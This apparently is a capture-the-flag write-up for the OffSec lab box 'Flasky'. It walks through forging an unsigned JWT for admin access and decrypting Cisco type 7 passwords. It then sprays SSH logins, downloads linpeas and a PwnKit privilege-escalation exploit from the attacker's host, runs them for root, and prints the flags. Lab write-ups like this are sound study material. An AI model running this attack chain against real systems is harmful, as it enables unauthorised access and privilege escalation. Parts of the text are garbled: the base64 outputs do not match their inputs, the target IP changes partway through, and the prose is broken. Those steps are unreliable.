

tags: Offsec PG Practice Intermediate Linux # Flasky

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.233.141 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.233.141:22
Open 192.168.233.141:5555
Open 192.168.233.141:20202

PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh      syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
5555/tcp  open  http     syn-ack nginx 1.18.0 (Ubuntu)
|_ http-title: Calculator
|_ http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_ http-server-header: nginx/1.18.0 (Ubuntu)
20202/tcp open  http     syn-ack nginx 1.18.0 (Ubuntu)
|_ http-methods:
|_ Supported Methods: OPTIONS GET HEAD
|_ http-title: Site doesn't have a title (text/html; charset=utf-8).
|_ http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
``` `http://192.168.233.141:20202/` can `Guest Login`, Clicklog in
```

Hey, JWT not configured properly. Need to fix it soon

``` get useJWT,F12Check,then use [jwt\\_tool \(https://github.com/ticapi/jwt\\_tool\)](https://github.com/ticapi/jwt_tool),canguest=true,admin=false

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IExIiwiaWF0IjoiYXZmFsc2V9.Sf1KxwRJSMeK
KF2QT4fwpMeJf36POk6yJV_adQssw5c
```

```
(kali㉿kali)-[~/pgplay/jwt_tool]
└─$ python3 jwt_tool.py
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IExIiwiaWF0IjoiYXZmFsc2V9.Sf1KxwRJSMe
KKF2QT4fwpMeJf36POk6yJV_adQssw5c"
```

Token header values:

```
[+] typ = "JWT"
[+] alg = "HS256"
```

Token payload values:

```
[+] id = "1"
[+] guest = "true"
[+] admin = False
``` canRefer to[10 ways to exploit JWT (JSON Web Token)](https://medium.com/@musab_alharany/10-ways-to-
exploit-json-web-token-jwt-ac5f4efbc41b)use`None Attack`,`guest``false`,`admin``true`
```

```
(kali㉿kali)-[~/pgplay/jwt_tool]
└─$ echo -n '{"typ":"JWT","alg":"none"}'|base64
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lbn0=

(kali㉿kali)-[~/pgplay/jwt_tool]
└─$ echo -n '{"id": "0","guest": "false","admin": true}'|base64
eyJpZCI6IExIiwiaWF0IjoiYXZmFsc2V9.Sf1KxwRJSMeK
KF2QT4fwpMeJf36POk6yJV_adQssw5c
```

## concatenated/joined

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lbn0.eyJpZCI6IExIiwiaWF0IjoiYXZmFsc2V9.Sf1KxwRJSMeK

``` keyf12logindashboard,useburpsuitecancisco\_config [Flasky\\_1.png](#) Go to http://192.168.172.141:20202/cisco\_config

```
username angie password 7 08014249001C254641585B
username jane password 7 08121F4D3B4A313B415818
username jill password 7 082B45420539091E1801
username john password 7 080F49541C120A341A2B02
username admin password 7 0811751F01490B311E2B1F2F
username kunal password 7 08116C5A0C15
``` then use [Cisco Type 7 Password Decrypter](https://github.com/theevilbit/ciscot7?source=post_page----
-7e52d885c1a1-----),
```

```
(kali㉿kali)-[~/pgplay/ciscot7]
└─$ python3 ciscot7.py -p "08014249001C254641585B"
Decrypted password: @ngie@1337
```

```
(kali㉿kali)-[~/pgplay]
└─$ cat password.txt
@ngie@1337
S3cR3TL33t
jill@ljj
NezukoCh@n
PY1h0nFI@sk
P@tel
```

```
(kali㉿kali)-[~/pgplay]
└─$ cat users.txt
angie
jane
jill
john
admin
kunal
```

---

```
(kali㉿kali)-[~/pgplay]
└─$ crackmapexec ssh -u users.txt -p password.txt --port 22 192.168.172.141
SSH 192.168.172.141 22 192.168.172.141 [+] john:NezukoCh@n
''' sshlogin,/home/johnget local.txt
```

```
(kali㉿kali)-[~/pgplay]
└─$ ssh john@192.168.172.141

john@192.168.172.141's password: NezukoCh@n

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
john@Flasky:~$ cat local.txt
2704c8c32787049bcffbfdefac85c1f51
``` `linpeas.sh`
```

```
john@Flasky:/tmp$ wget 192.168.45.245:5555/linpeas.sh
john@Flasky:/tmp$ chmod +x linpeas.sh
john@Flasky:/tmp$ ./linpeas.sh
```

[+] [CVE-2021-4034] PwnKit

Details: <https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt>
Exposure: probable
Tags: [ubuntu=10|11|12|13|14|15|16|17|18|19|20|21],debian=7|8|9|10|11,fedora,manjaro
Download URL: <https://codeload.github.com/berdav/CVE-2021-4034/zip/main>

```
john@Flasky:/tmp$ wget 192.168.45.245:5555/CVE-2021-4034.py
john@Flasky:/tmp$ python3 CVE-2021-4034.py
```

python3 -c 'import pty; pty.spawn("/bin/bash")'

```
root@Flasky:/root# cat proof.txt
2334739e4e0c1dfda7e0982e5fd527b3
```
